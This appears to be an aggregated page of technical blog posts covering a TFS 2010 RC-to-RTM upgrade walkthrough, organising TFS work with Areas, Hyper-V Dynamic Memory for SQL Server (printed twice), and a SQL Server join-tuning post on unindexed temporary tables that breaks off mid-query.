  Today is the big day, with the Launch of Visual Studio 2010 already done in Asia, and rolling around the world towards us, we are getting ready for the RTM (Released). We have had TFS 2010 in Production for nearly 6 months and have had only minimal problems. Update 12th April 2010  – Added Scott Hanselman’s tweet about the MSDN download release time. SSW was the first company in the world outside of Microsoft to deploy Visual Studio 2010 Team Foundation Server to production, not once, but twice. I am hoping to make it 3 in a row, but with all the hype around the new version, and with it being a production release and not just a go-live, I think there will be a lot of competition. Developers: MSDN will be updated with #vs2010 downloads and details at 10am PST *today*! @shanselman - Scott Hanselman Same as before, we need to Uninstall 2010 RC and install 2010 RTM. The installer will take care of all the complexity of actually upgrading any schema changes. If you are upgrading from TFS 2008 to TFS2010 you can follow our Rules To Better TFS 2010 Migration and read my post on our successes.   We run TFS 2010 in a Hyper-V virtual environment, so we have the advantage of running a snapshot as well as taking a DB backup. Done - Snapshot the hyper-v server Microsoft does not support taking a snapshot of a running server, for very good reason, and Brian Harry wrote a post after my last upgrade with the reason why you should never snapshot a running server. Done - Uninstall Visual Studio Team Explorer 2010 RC You will need to uninstall all of the Visual Studio 2010 RC client bits that you have on the server. Done - Uninstall TFS 2010 RC Done - Install TFS 2010 RTM Done - Configure TFS 2010 RTM Pick the Upgrade option and point it at your existing “tfs_Configuration” database to load all of the existing settings Done - Upgrade the SharePoint Extensions Upgrade Build Servers (Pending) Test the server The back out plan, and you should always have one, is to restore the snapshot. Upgrading to Team Foundation Server 2010 – Done The first thing you need to do is off the TFS server and then log into the Hyper-v server and create a snapshot. Figure: Make sure you turn the server off and delete all old snapshots before you take a new one I noticed that the snapshot that was taken before the Beta 2 to RC upgrade was still there. You should really delete old snapshots before you create a new one, but in this case the SysAdmin (who is currently tucked up in bed) asked me not to. I guess he is worried about a developer messing up his server Turn your server on and wait for it to boot in anticipation of all the nice shiny RTM’ness that is coming next. The upgrade procedure for TFS2010 is to uninstal the old version and install the new one. Figure: Remove Visual Studio 2010 Team Foundation Server RC from the system.   Figure: Most of the heavy lifting is done by the Uninstaller, but make sure you have removed any of the client bits first. Specifically Visual Studio 2010 or Team Explorer 2010.  Once the uninstall is complete, this took around 5 minutes for me, you can begin the install of the RTM. Running the 64 bit OS will allow the application to use more than 2GB RAM, which while not common may be of use in heavy load situations. Figure: It is always recommended to install the 64bit version of a server application where possible. I do not think it is likely, with SharePoint 2010 and Exchange 2010  and even Windows Server 2008 R2 being 64 bit only, I do not think there will be another release of a server app that is 32bit. You then need to choose what it is you want to install. This depends on how you are running TFS and on how many servers. In our case we run TFS and the Team Foundation Build Service (controller only) on out TFS server along with Analysis services and Reporting Services. But our SharePoint server lives elsewhere. Figure: This always confuses people, but in reality it makes sense. Don’t install what you do not need. Every extra you install has an impact of performance. If you are integrating with SharePoint you will need to run this install on every Front end server in your farm and don’t forget to upgrade your Build servers and proxy servers later. Figure: Selecting only Team Foundation Server (TFS) and Team Foundation Build Services (TFBS)   It is worth noting that if you have a lot of builds kicking off, and hence a lot of get operations against your TFS server, you can use a proxy server to cache the source control on another server in between your TFS server and your build servers. Figure: Installing Microsoft .NET Framework 4 takes the most time. Figure: Now run Windows Update, and SSW Diagnostic to make sure all your bits and bobs are up to date. Note: SSW Diagnostic will check your Power Tools, Add-on’s, Check in Policies and other bits as well. Configure Team Foundation Server 2010 – Done Now you can configure the server. If you have no key you will need to pick “Install a Trial Licence”, but it is only £500, or free with a MSDN subscription. Anyway, if you pick Trial you get 90 days to get your key. Figure: You can pick trial and add your key later using the TFS Server Admin. Here is where the real choices happen. We are doing an Upgrade from a previous version, so I will pick Upgrade the same as all you folks that are using the RC or TFS 2008. Figure: The upgrade wizard takes your existing 2010 or 2008 databases and upgraded them to the release.   Once you have entered your database server name you can click “List available databases” and it will show what it can upgrade. Figure: Select your database from the list and at this point, make sure you have a valid backup. At this point you have not made ANY changes to the databases. At this point the configuration wizard will load configuration from your existing database if you have one. If you are upgrading TFS 2008 refer to Rules To Better TFS 2010 Migration. Mostly during the wizard the default values will suffice, but depending on the configuration you want you can pick different options. Figure: Set the application tier account and Authentication method to use. We use NTLM to keep things simple as we host our TFS server externally for our remote developers.  Figure: Setting your TFS server URL’s to be the remote URL’s allows the reports to be accessed without using VPN. Very handy for those remote developers. Figure: Detected the existing Warehouse no problem. Figure: Again we love green ticks. It gives us a warm fuzzy feeling. Figure: The username for connecting to Reporting services should be a domain account (if you are on a domain that is). Figure: Setup the SharePoint integration to connect to your external SharePoint server. You can take the option to connect later.   You then need to run all of your readiness checks. These check can save your life! it will check all of the settings that you have entered as well as checking all the external services are configures and running properly. There are two reasons that TFS 2010 is so easy and painless to install where previous version were not. Microsoft changes the install to two steps, Install and configuration. The second reason is that they have pulled out all of the stops in making the install run all the checks necessary to make sure that once you start the install that it will complete. if you find any errors I recommend that you report them on http://connect.microsoft.com so everyone can benefit from your misery.   Figure: Now we have everything setup the configuration wizard can do its work.  Figure: Took a while on the “Web site” stage for some point, but zipped though after that.  Figure: last wee bit. TFS Needs to do a little tinkering with the data to complete the upgrade. Figure: All upgraded. I am not worried about the yellow triangle as SharePoint was being a little silly Exception Message: TF254021: The account name or password that you specified is not valid. (type TfsAdminException) Exception Stack Trace:    at Microsoft.TeamFoundation.Management.Controls.WizardCommon.AccountSelectionControl.TestLogon(String connectionString)    at System.ComponentModel.BackgroundWorker.WorkerThreadStart(Object argument) [Info   @16:10:16.307] Benign exception caught as part of verify: Exception Message: TF255329: The following site could not be accessed: http://projects.ssw.com.au/. The server that you specified did not return the expected response. Either you have not installed the Team Foundation Server Extensions for SharePoint Products on this server, or a firewall is blocking access to the specified site or the SharePoint Central Administration site. For more information, see the Microsoft Web site (http://go.microsoft.com/fwlink/?LinkId=161206). (type TeamFoundationServerException) Exception Stack Trace:    at Microsoft.TeamFoundation.Client.SharePoint.WssUtilities.VerifyTeamFoundationSharePointExtensions(ICredentials credentials, Uri url)    at Microsoft.TeamFoundation.Admin.VerifySharePointSitesUrl.Verify() Inner Exception Details: Exception Message: TF249064: The following Web service returned an response that is not valid: http://projects.ssw.com.au/_vti_bin/TeamFoundationIntegrationService.asmx. This Web service is used for the Team Foundation Server Extensions for SharePoint Products. Either the extensions are not installed, the request resulted in HTML being returned, or there is a problem with the URL. Verify that the following URL points to a valid SharePoint Web application and that the application is available: http://projects.ssw.com.au. If the URL is correct and the Web application is operating normally, verify that a firewall is not blocking access to the Web application. (type TeamFoundationServerInvalidResponseException) Exception Data Dictionary: ResponseStatusCode = InternalServerError I’ll look at SharePoint after, probably the SharePoint box just needs a restart or a kick If there is a problem with SharePoint it will come out in testing, But I will definatly be passing this on to Microsoft.   Upgrading the SharePoint connector to TFS 2010 You will need to upgrade the Extensions for SharePoint Products and Technologies on all of your SharePoint farm front end servers. To do this uninstall  the TFS 2010 RC from it in the same way as the server, and then install just the RTM Extensions. Figure: Only install the SharePoint Extensions on your SharePoint front end servers. TFS 2010 supports both SharePoint 2007 and SharePoint 2010.   Figure: When you configure SharePoint it uploads all of the solutions and templates. Figure: Everything is uploaded Successfully. Figure: TFS even remembered the settings from the previous installation, fantastic.   Upgrading the Team Foundation Build Servers to TFS 2010 Just like on the SharePoint servers you will need to upgrade the Build Server to the RTM. Just uninstall TFS 2010 RC and then install only the Team Foundation Build Services component. Unlike on the SharePoint server you will probably have some version of Visual Studio installed. You will need to remove this as well. (Coming Soon) Connecting Visual Studio 2010 / 2008 / 2005 and Eclipse to TFS2010 If you have developers still on Visual Studio 2005 or 2008 you will need do download the respective compatibility pack: Visual Studio Team System 2005 Service Pack 1 Forward Compatibility Update for Team Foundation Server 2010 Visual Studio Team System 2008 Service Pack 1 Forward Compatibility Update for Team Foundation Server 2010 If you are using Eclipse you can download the new Team Explorer Everywhere install for connecting to TFS. Get your developers to check that you have the latest version of your applications with SSW Diagnostic which will check for Service Packs and hot fixes to Visual Studio as well.   Technorati Tags: TFS,TFS2010,TFS 2010,Upgrade

  Read the article

• When should I use Areas in TFS instead of Team Projects

  - by Martin Hinshelwood

  Well, it depends…. If you are a small company that creates a finite number of internal projects then you will find it easier to create a single project for each of your products and have TFS do the heavy lifting with reporting, SharePoint sites and Version Control. But what if you are not… Update 9th March 2010 Michael Fourie gave me some feedback which I have integrated. Ed Blankenship via @edblankenship offered encouragement and a nice quote. Ewald Hofman gave me a couple of Cons, and maybe a few more soon. Ewald’s company, Avanade, currently uses Areas, but it looks like the manual management is getting too much and the project is getting cluttered. What if you are likely to have hundreds of projects, possibly with a multitude of internal and external projects? You might have 1 project for a customer or 10. This is the situation that most consultancies find themselves in and thus they need a more sustainable and maintainable option. What I am advocating is that we should have 1 “Team Project” per customer, and use areas to create “sub projects” within that single “Team Project”. "What you describe is what we generally do internally and what we recommend. We make very heavy use of area path to categorize the work within a larger project." - Brian Harry, Microsoft Technical Fellow & Product Unit Manager for Team Foundation Server   "We tend to use areas to segregate multiple projects in the same team project and it works well." - Tiago Pascoal, Visual Studio ALM MVP   "In general, I believe this approach provides consistency [to multi-product engagements] and lowers the administration and maintenance costs. All good." - Michael Fourie, Visual Studio ALM MVP   “@MrHinsh BTW, I'm very much a fan of very large, if not huge, team projects in TFS. Just FYI :) Use Areas & Iterations.” Ed Blankenship, Visual Studio ALM MVP   This would mean that SSW would have a single Team Project called “SSW” that contains all of our internal projects and consequently all of the Areas and Iteration move down one hierarchy to accommodate this. Where we would have had “\SSW\Sprint 1” we now have “\SSW\SqlDeploy\Sprint1” with “SqlDeploy” being our internal project. At the moment SSW has over 70 internal projects and more than 170 total projects in TFS. This method has long term benefits that help to simplify the support model for companies that often have limited internal support time and many projects. But, there are implications as TFS does not provide this model “out-of-the-box”. These implications stretch across Areas, Iterations, Queries, Project Portal and Version Control. Michael made a good comment, he said: I agree with your approach, assuming that in a multi-product engagement with a client, they are happy to adopt the same process template across all products. If they are not, then it’ll either be easy to convince them or there is a valid reason for having a different template - Michael Fourie, Visual Studio ALM MVP   At SSW we have a standard template that we use and this is applied across the board, to all of our projects. We even apply any changes to the core process template to all of our existing projects as well. If you have multiple projects for the same clients on multiple templates and you want to keep it that way, then this approach will not work for you. However, if you want to standardise as we have at SSW then this approach may benefit you as well. Implications around Areas Areas should be used for topological classification/isolation of work items. You can think of this as architecture areas, organisational areas or even the main features of your application. In our scenario there is an additional top level item that represents the Project / Product that we want to chop our Team Project into. Figure: Creating a sub area to represent a product/project is easy. <teamproject> <teamproject>\<Functional Area/module whatever> Becomes: <teamproject> <teamproject>\<ProjectName>\ <teamproject>\<ProjectName>\<Functional Area/module whatever> Implications around Iterations Iterations should be used for chronological classification/isolation of work items. This could include isolated time boxes, milestones or release timelines and really depends on the logical flow of your project or projects. Due to the new level in Area we need to add the same level to Iteration. This is primarily because it is unlikely that the sprints in each of your projects/products will start and end at the same time. This is just a reality of managing multiple projects. Figure: Adding the same Area value to Iteration as the top level item adds flexibility to Iteration. <teamproject>\Sprint 1 Or <teamproject>\Release 1\Sprint 1 Becomes: <teamproject>\<ProjectName>\Sprint 1 Or <teamproject>\<ProjectName>\Release 1\Sprint 1 Implications around Queries Queries are used to filter your work items based on a specified level of granularity. There are a number of queries that are built into a project created using the MSF Agile 5.0 template, but we now have multiple projects and it would be a pain to have to edit all of the work items every time we changed project, and that would only allow one team to work on one project at a time.   Figure: The Queries that are created in a normal MSF Agile 5.0 project do not quite suit our new needs. In order for project contributors to be able to query based on their project we need a couple of things. The first thing I did was to create an “_Area Template” folder that has a copy of the project layout with all the queries setup to filter based on the “_Area Template” Area and the “_Sprint template” you can see in the Area and Iteration views. Figure: The template is currently easily drag and drop, but you then need to edit the queries to point at the right Area and Iteration. This needs a tool. I then created an “Areas” folder to hold all of the area specific queries. So, when you go to create a new TFS Sub-Project you just drag “_Area Template” while holding “Ctrl” and drop it onto “Areas”. There is a little setup here. That said I managed it in around 10 minutes which is not so bad, and I can imagine it being quite easy to build a tool to create these queries Figure: These new queries can be configured in around 10 minutes, which includes setting up the Area and Iteration as well. Version Control What about your source code? Well, that is the easiest of the lot. Just create a sub folder for each of your projects/products.   Figure: Creating sub folders in source control is easy as “Right click | Create new folder”. <teamproject>\DEV\Main\ Becomes: <teamproject>\<ProjectName>\DEV\Main\ Conclusion I think it is up to each company to make a call on how you want to configure your Team Projects and it depends completely on how many projects/products you are going to have for each customer including yourself. If we decide to utilise this route it will require some configuration to get our 170+ projects into this format, and I will probably be writing some tools to help. Pros You only have one project to upgrade when a process template changes – After going through an upgrade of over 170 project prior to the changes in the RC I can tell you that that many projects is no fun. Standardises your Process Template – You will always have the same Process implementation across projects/products without exception You get tighter control over the permissions – Yes, you can do this on a standard Team Project, but it gets a lot easier with practice. You can “move” work items from one “product” to another – Have we not always wanted to do that. You can rename your projects – Wahoo: everyone wants to do this, now you can. One set of Reporting Services reports to manage – You set an area and iteration to run reports anyway, so you may as well set both. Simplified Check-In Policies– There is only one set of check-in policies per client. This simplifies administration of policies. Simplified Alerts – As alerts are applied across multiple projects this simplifies your alert rules as per client. Cons All of these cons could be mitigated by a custom tool that helps automate creation of “Sub-projects” within Team Projects. This custom tool could create areas, Iteration, permissions, SharePoint and queries. It just does not exist yet :) You need to configure the Areas and Iterations You need to configure the permissions You may need to configure sub sites for SharePoint (depends on your requirement) – If you have two projects/products in the same Team Project then you will not see the burn down for each one out-of-the-box, but rather a cumulative for the Team Project. This is not really that much of a problem as you would have to configure your burndown graphs for your current iteration anyway. note: When you create a sub site to a TFS linked portal it will inherit the settings of its parent site :) This is fantastic as it means that you can easily create sub sites and then set the Area and Iteration path in each of the reports to be the correct one. Every team wants their own customization (via Ewald Hofman) - small teams of 2 persons against teams of 30 – or even outsourcing – need their own process, you cannot allow that because everybody gets the same work item types. note: Luckily at SSW this is not a problem as our template is standardised across all projects and customers. Large list of builds (via Ewald Hofman) – As the build list in Team Explorer is just a flat list it can get very cluttered. note: I would mitigate this by removing any build that has not been run in over 30 days. The build template and workflow will still be available in version control, but it will clean the list. Feedback Now that I have explained this method, what do you think? What other pros and cons can you see? What do you think of this approach? Will you be using it? What tools would you like to support you?   Technorati Tags: Visual Studio ALM,TFS Administration,TFS,Team Foundation Server,Project Planning,TFS Customisation

  Read the article

• SQL Server and Hyper-V Dynamic Memory - Part 1

  - by SQLOS Team

  SQL and Dynamic Memory Blog Post Series   Hyper-V Dynamic Memory is a new feature in Windows Server 2008 R2 SP1 that allows the memory assigned to guest virtual machines to vary according to demand. Using this feature with SQL Server is supported, but how well does it work in an environment where available memory can vary dynamically, especially since SQL Server likes memory, and is not very eager to let go of it? The next three posts will look at this question in detail. In Part 1 Serdar Sutay, a program manager in the Windows Hyper-V team, introduces Dynamic Memory with an overview of the basic architecture, configuration and monitoring concepts. In subsequent parts we will look at SQL Server memory handling, and develop some guidelines on using SQL Server with Dynamic Memory.   Part 1: Dynamic Memory Introduction   In virtualized environments memory is often the bottleneck for reaching higher VM densities. In Windows Server 2008 R2 SP1 Hyper-V introduced a new feature “Dynamic Memory” to improve VM densities on Hyper-V hosts. Dynamic Memory increases the memory utilization in virtualized environments by enabling VM memory to be changed dynamically when the VM is running.   This brings up the question of how to utilize this feature with SQL Server VMs as SQL Server performance is very sensitive to the memory being used. In the next three posts we’ll discuss the internals of Dynamic Memory, SQL Server Memory Management and how to use Dynamic Memory with SQL Server VMs.   Memory Utilization Efficiency in Virtualized Environments   The primary reason memory is usually the bottleneck for higher VM densities is that users tend to be generous when assigning memory to their VMs. Here are some memory sizing practices we’ve heard from customers:   ·         I assign 4 GB of memory to my VMs. I don’t know if all of it is being used by the applications but no one complains. ·         I take the minimum system requirements and add 50% more. ·         I go with the recommendations provided by my software vendor.   In reality correctly sizing a virtual machine requires significant effort to monitor the memory usage of the applications. Since this is not done in most environments, VMs are usually over-provisioned in terms of memory. In other words, a SQL Server VM that is assigned 4 GB of memory may not need to use 4 GB.   How does Dynamic Memory help?   Dynamic Memory improves the memory utilization by removing the requirement to determine the memory need for an application. Hyper-V determines the memory needed by applications in the VM by evaluating the memory usage information in the guest with Dynamic Memory. VMs can start with a small amount of memory and they can be assigned more memory dynamically based on the workload of applications running inside.   Overview of Dynamic Memory Concepts   ·         Startup Memory: Startup Memory is the starting amount of memory when Dynamic Memory is enabled for a VM. Dynamic Memory will make sure that this amount of memory is always assigned to the VMs by default.   ·         Maximum Memory: Maximum Memory specifies the maximum amount of memory that a VM can grow to with Dynamic Memory. ·         Memory Demand: Memory Demand is the amount determined by Dynamic Memory as the memory needed by the applications in the VM. In Windows Server 2008 R2 SP1, this is equal to the total amount of committed memory of the VM. ·         Memory Buffer: Memory Buffer is the amount of memory assigned to the VMs in addition to their memory demand to satisfy immediate memory requirements and file cache needs.   Once Dynamic Memory is enabled for a VM, it will start with the “Startup Memory”. After the boot process Dynamic Memory will determine the “Memory Demand” of the VM. Based on this memory demand it will determine the amount of “Memory Buffer” that needs to be assigned to the VM. Dynamic Memory will assign the total of “Memory Demand” and “Memory Buffer” to the VM as long as this value is less than “Maximum Memory” and as long as physical memory is available on the host.   What happens when there is not enough physical memory available on the host?   Once there is not enough physical memory on the host to satisfy VM needs, Dynamic Memory will assign less than needed amount of memory to the VMs based on their importance. A concept known as “Memory Weight” is used to determine how much VMs should be penalized based on their needed amount of memory. “Memory Weight” is a configuration setting on the VM. It can be configured to be higher for the VMs with high performance requirements. Under high memory pressure on the host, the “Memory Weight” of the VMs are evaluated in a relative manner and the VMs with lower relative “Memory Weight” will be penalized more than the ones with higher “Memory Weight”.   Dynamic Memory Configuration   Based on these concepts “Startup Memory”, “Maximum Memory”, “Memory Buffer” and “Memory Weight” can be configured as shown below in Windows Server 2008 R2 SP1 Hyper-V Manager. Memory Demand is automatically calculated by Dynamic Memory once VMs start running.     Dynamic Memory Monitoring    In Windows Server 2008 R2 SP1, Hyper-V Manager displays the memory status of VMs in the following three columns:         ·         Assigned Memory represents the current physical memory assigned to the VM. In regular conditions this will be equal to the sum of “Memory Demand” and “Memory Buffer” assigned to the VM. When there is not enough memory on the host, this value can go below the Memory Demand determined for the VM. ·         Memory Demand displays the current “Memory Demand” determined for the VM. ·         Memory Status displays the current memory status of the VM. This column can represent three values for a VM: o   OK: In this condition the VM is assigned the total of Memory Demand and Memory Buffer it needs. o   Low: In this condition the VM is assigned all the Memory Demand and a certain percentage of the Memory Buffer it needs. o   Warning: In this condition the VM is assigned a lower memory than its Memory Demand. When VMs are running in this condition, it’s likely that they will exhibit performance problems due to internal paging happening in the VM.    So far so good! But how does it work with SQL Server?   SQL Server is aggressive in terms of memory usage for good reasons. This raises the question: How do SQL Server and Dynamic Memory work together? To understand the full story, we’ll first need to understand how SQL Server Memory Management works. This will be covered in our second post in “SQL and Dynamic Memory” series. Meanwhile if you want to dive deeper into Dynamic Memory you can check the below posts from the Windows Virtualization Team Blog:   http://blogs.technet.com/virtualization/archive/2010/03/18/dynamic-memory-coming-to-hyper-v.aspx   http://blogs.technet.com/virtualization/archive/2010/03/25/dynamic-memory-coming-to-hyper-v-part-2.aspx   http://blogs.technet.com/virtualization/archive/2010/04/07/dynamic-memory-coming-to-hyper-v-part-3.aspx   http://blogs.technet.com/b/virtualization/archive/2010/04/21/dynamic-memory-coming-to-hyper-v-part-4.aspx   http://blogs.technet.com/b/virtualization/archive/2010/05/20/dynamic-memory-coming-to-hyper-v-part-5.aspx   http://blogs.technet.com/b/virtualization/archive/2010/07/12/dynamic-memory-coming-to-hyper-v-part-6.aspx   - Serdar Sutay   Originally posted at http://blogs.msdn.com/b/sqlosteam/

  Read the article

• SQL Server and Hyper-V Dynamic Memory - Part 1

  - by SQLOS Team

  SQL and Dynamic Memory Blog Post Series   Hyper-V Dynamic Memory is a new feature in Windows Server 2008 R2 SP1 that allows the memory assigned to guest virtual machines to vary according to demand. Using this feature with SQL Server is supported, but how well does it work in an environment where available memory can vary dynamically, especially since SQL Server likes memory, and is not very eager to let go of it? The next three posts will look at this question in detail. In Part 1 Serdar Sutay, a program manager in the Windows Hyper-V team, introduces Dynamic Memory with an overview of the basic architecture, configuration and monitoring concepts. In subsequent parts we will look at SQL Server memory handling, and develop some guidelines on using SQL Server with Dynamic Memory.   Part 1: Dynamic Memory Introduction   In virtualized environments memory is often the bottleneck for reaching higher VM densities. In Windows Server 2008 R2 SP1 Hyper-V introduced a new feature “Dynamic Memory” to improve VM densities on Hyper-V hosts. Dynamic Memory increases the memory utilization in virtualized environments by enabling VM memory to be changed dynamically when the VM is running.   This brings up the question of how to utilize this feature with SQL Server VMs as SQL Server performance is very sensitive to the memory being used. In the next three posts we’ll discuss the internals of Dynamic Memory, SQL Server Memory Management and how to use Dynamic Memory with SQL Server VMs.   Memory Utilization Efficiency in Virtualized Environments   The primary reason memory is usually the bottleneck for higher VM densities is that users tend to be generous when assigning memory to their VMs. Here are some memory sizing practices we’ve heard from customers:   ·         I assign 4 GB of memory to my VMs. I don’t know if all of it is being used by the applications but no one complains. ·         I take the minimum system requirements and add 50% more. ·         I go with the recommendations provided by my software vendor.   In reality correctly sizing a virtual machine requires significant effort to monitor the memory usage of the applications. Since this is not done in most environments, VMs are usually over-provisioned in terms of memory. In other words, a SQL Server VM that is assigned 4 GB of memory may not need to use 4 GB.   How does Dynamic Memory help?   Dynamic Memory improves the memory utilization by removing the requirement to determine the memory need for an application. Hyper-V determines the memory needed by applications in the VM by evaluating the memory usage information in the guest with Dynamic Memory. VMs can start with a small amount of memory and they can be assigned more memory dynamically based on the workload of applications running inside.   Overview of Dynamic Memory Concepts   ·         Startup Memory: Startup Memory is the starting amount of memory when Dynamic Memory is enabled for a VM. Dynamic Memory will make sure that this amount of memory is always assigned to the VMs by default.   ·         Maximum Memory: Maximum Memory specifies the maximum amount of memory that a VM can grow to with Dynamic Memory. ·         Memory Demand: Memory Demand is the amount determined by Dynamic Memory as the memory needed by the applications in the VM. In Windows Server 2008 R2 SP1, this is equal to the total amount of committed memory of the VM. ·         Memory Buffer: Memory Buffer is the amount of memory assigned to the VMs in addition to their memory demand to satisfy immediate memory requirements and file cache needs.   Once Dynamic Memory is enabled for a VM, it will start with the “Startup Memory”. After the boot process Dynamic Memory will determine the “Memory Demand” of the VM. Based on this memory demand it will determine the amount of “Memory Buffer” that needs to be assigned to the VM. Dynamic Memory will assign the total of “Memory Demand” and “Memory Buffer” to the VM as long as this value is less than “Maximum Memory” and as long as physical memory is available on the host.   What happens when there is not enough physical memory available on the host?   Once there is not enough physical memory on the host to satisfy VM needs, Dynamic Memory will assign less than needed amount of memory to the VMs based on their importance. A concept known as “Memory Weight” is used to determine how much VMs should be penalized based on their needed amount of memory. “Memory Weight” is a configuration setting on the VM. It can be configured to be higher for the VMs with high performance requirements. Under high memory pressure on the host, the “Memory Weight” of the VMs are evaluated in a relative manner and the VMs with lower relative “Memory Weight” will be penalized more than the ones with higher “Memory Weight”.   Dynamic Memory Configuration   Based on these concepts “Startup Memory”, “Maximum Memory”, “Memory Buffer” and “Memory Weight” can be configured as shown below in Windows Server 2008 R2 SP1 Hyper-V Manager. Memory Demand is automatically calculated by Dynamic Memory once VMs start running.     Dynamic Memory Monitoring    In Windows Server 2008 R2 SP1, Hyper-V Manager displays the memory status of VMs in the following three columns:         ·         Assigned Memory represents the current physical memory assigned to the VM. In regular conditions this will be equal to the sum of “Memory Demand” and “Memory Buffer” assigned to the VM. When there is not enough memory on the host, this value can go below the Memory Demand determined for the VM. ·         Memory Demand displays the current “Memory Demand” determined for the VM. ·         Memory Status displays the current memory status of the VM. This column can represent three values for a VM: o   OK: In this condition the VM is assigned the total of Memory Demand and Memory Buffer it needs. o   Low: In this condition the VM is assigned all the Memory Demand and a certain percentage of the Memory Buffer it needs. o   Warning: In this condition the VM is assigned a lower memory than its Memory Demand. When VMs are running in this condition, it’s likely that they will exhibit performance problems due to internal paging happening in the VM.    So far so good! But how does it work with SQL Server?   SQL Server is aggressive in terms of memory usage for good reasons. This raises the question: How do SQL Server and Dynamic Memory work together? To understand the full story, we’ll first need to understand how SQL Server Memory Management works. This will be covered in our second post in “SQL and Dynamic Memory” series. Meanwhile if you want to dive deeper into Dynamic Memory you can check the below posts from the Windows Virtualization Team Blog:   http://blogs.technet.com/virtualization/archive/2010/03/18/dynamic-memory-coming-to-hyper-v.aspx   http://blogs.technet.com/virtualization/archive/2010/03/25/dynamic-memory-coming-to-hyper-v-part-2.aspx   http://blogs.technet.com/virtualization/archive/2010/04/07/dynamic-memory-coming-to-hyper-v-part-3.aspx   http://blogs.technet.com/b/virtualization/archive/2010/04/21/dynamic-memory-coming-to-hyper-v-part-4.aspx   http://blogs.technet.com/b/virtualization/archive/2010/05/20/dynamic-memory-coming-to-hyper-v-part-5.aspx   http://blogs.technet.com/b/virtualization/archive/2010/07/12/dynamic-memory-coming-to-hyper-v-part-6.aspx   - Serdar Sutay   Originally posted at http://blogs.msdn.com/b/sqlosteam/

  Read the article

• Heaps of Trouble?

  - by Paul White NZ

  If you’re not already a regular reader of Brad Schulz’s blog, you’re missing out on some great material.  In his latest entry, he is tasked with optimizing a query run against tables that have no indexes at all.  The problem is, predictably, that performance is not very good.  The catch is that we are not allowed to create any indexes (or even new statistics) as part of our optimization efforts. In this post, I’m going to look at the problem from a slightly different angle, and present an alternative solution to the one Brad found.  Inevitably, there’s going to be some overlap between our entries, and while you don’t necessarily need to read Brad’s post before this one, I do strongly recommend that you read it at some stage; he covers some important points that I won’t cover again here. The Example We’ll use data from the AdventureWorks database, copied to temporary unindexed tables.  A script to create these structures is shown below: CREATE TABLE #Custs ( CustomerID INTEGER NOT NULL, TerritoryID INTEGER NULL, CustomerType NCHAR(1) COLLATE SQL_Latin1_General_CP1_CI_AI NOT NULL, ); GO CREATE TABLE #Prods ( ProductMainID INTEGER NOT NULL, ProductSubID INTEGER NOT NULL, ProductSubSubID INTEGER NOT NULL, Name NVARCHAR(50) COLLATE SQL_Latin1_General_CP1_CI_AI NOT NULL, ); GO CREATE TABLE #OrdHeader ( SalesOrderID INTEGER NOT NULL, OrderDate DATETIME NOT NULL, SalesOrderNumber NVARCHAR(25) COLLATE SQL_Latin1_General_CP1_CI_AI NOT NULL, CustomerID INTEGER NOT NULL, ); GO CREATE TABLE #OrdDetail ( SalesOrderID INTEGER NOT NULL, OrderQty SMALLINT NOT NULL, LineTotal NUMERIC(38,6) NOT NULL, ProductMainID INTEGER NOT NULL, ProductSubID INTEGER NOT NULL, ProductSubSubID INTEGER NOT NULL, ); GO INSERT #Custs ( CustomerID, TerritoryID, CustomerType ) SELECT C.CustomerID, C.TerritoryID, C.CustomerType FROM AdventureWorks.Sales.Customer C WITH (TABLOCK); GO INSERT #Prods ( ProductMainID, ProductSubID, ProductSubSubID, Name ) SELECT P.ProductID, P.ProductID, P.ProductID, P.Name FROM AdventureWorks.Production.Product P WITH (TABLOCK); GO INSERT #OrdHeader ( SalesOrderID, OrderDate, SalesOrderNumber, CustomerID ) SELECT H.SalesOrderID, H.OrderDate, H.SalesOrderNumber, H.CustomerID FROM AdventureWorks.Sales.SalesOrderHeader H WITH (TABLOCK); GO INSERT #OrdDetail ( SalesOrderID, OrderQty, LineTotal, ProductMainID, ProductSubID, ProductSubSubID ) SELECT D.SalesOrderID, D.OrderQty, D.LineTotal, D.ProductID, D.ProductID, D.ProductID FROM AdventureWorks.Sales.SalesOrderDetail D WITH (TABLOCK); The query itself is a simple join of the four tables: SELECT P.ProductMainID AS PID, P.Name, D.OrderQty, H.SalesOrderNumber, H.OrderDate, C.TerritoryID FROM #Prods P JOIN #OrdDetail D ON P.ProductMainID = D.ProductMainID AND P.ProductSubID = D.ProductSubID AND P.ProductSubSubID = D.ProductSubSubID JOIN #OrdHeader H ON D.SalesOrderID = H.SalesOrderID JOIN #Custs C ON H.CustomerID = C.CustomerID ORDER BY P.ProductMainID ASC OPTION (RECOMPILE, MAXDOP 1); Remember that these tables have no indexes at all, and only the single-column sampled statistics SQL Server automatically creates (assuming default settings).  The estimated query plan produced for the test query looks like this (click to enlarge): The Problem The problem here is one of cardinality estimation – the number of rows SQL Server expects to find at each step of the plan.  The lack of indexes and useful statistical information means that SQL Server does not have the information it needs to make a good estimate.  Every join in the plan shown above estimates that it will produce just a single row as output.  Brad covers the factors that lead to the low estimates in his post. In reality, the join between the #Prods and #OrdDetail tables will produce 121,317 rows.  It should not surprise you that this has rather dire consequences for the remainder of the query plan.  In particular, it makes a nonsense of the optimizer’s decision to use Nested Loops to join to the two remaining tables.  Instead of scanning the #OrdHeader and #Custs tables once (as it expected), it has to perform 121,317 full scans of each.  The query takes somewhere in the region of twenty minutes to run to completion on my development machine. A Solution At this point, you may be thinking the same thing I was: if we really are stuck with no indexes, the best we can do is to use hash joins everywhere. We can force the exclusive use of hash joins in several ways, the two most common being join and query hints.  A join hint means writing the query using the INNER HASH JOIN syntax; using a query hint involves adding OPTION (HASH JOIN) at the bottom of the query.  The difference is that using join hints also forces the order of the join, whereas the query hint gives the optimizer freedom to reorder the joins at its discretion. Adding the OPTION (HASH JOIN) hint results in this estimated plan: That produces the correct output in around seven seconds, which is quite an improvement!  As a purely practical matter, and given the rigid rules of the environment we find ourselves in, we might leave things there.  (We can improve the hashing solution a bit – I’ll come back to that later on). Faster Nested Loops It might surprise you to hear that we can beat the performance of the hash join solution shown above using nested loops joins exclusively, and without breaking the rules we have been set. The key to this part is to realize that a condition like (A = B) can be expressed as (A <= B) AND (A >= B).  Armed with this tremendous new insight, we can rewrite the join predicates like so: SELECT P.ProductMainID AS PID, P.Name, D.OrderQty, H.SalesOrderNumber, H.OrderDate, C.TerritoryID FROM #OrdDetail D JOIN #OrdHeader H ON D.SalesOrderID >= H.SalesOrderID AND D.SalesOrderID <= H.SalesOrderID JOIN #Custs C ON H.CustomerID >= C.CustomerID AND H.CustomerID <= C.CustomerID JOIN #Prods P ON P.ProductMainID >= D.ProductMainID AND P.ProductMainID <= 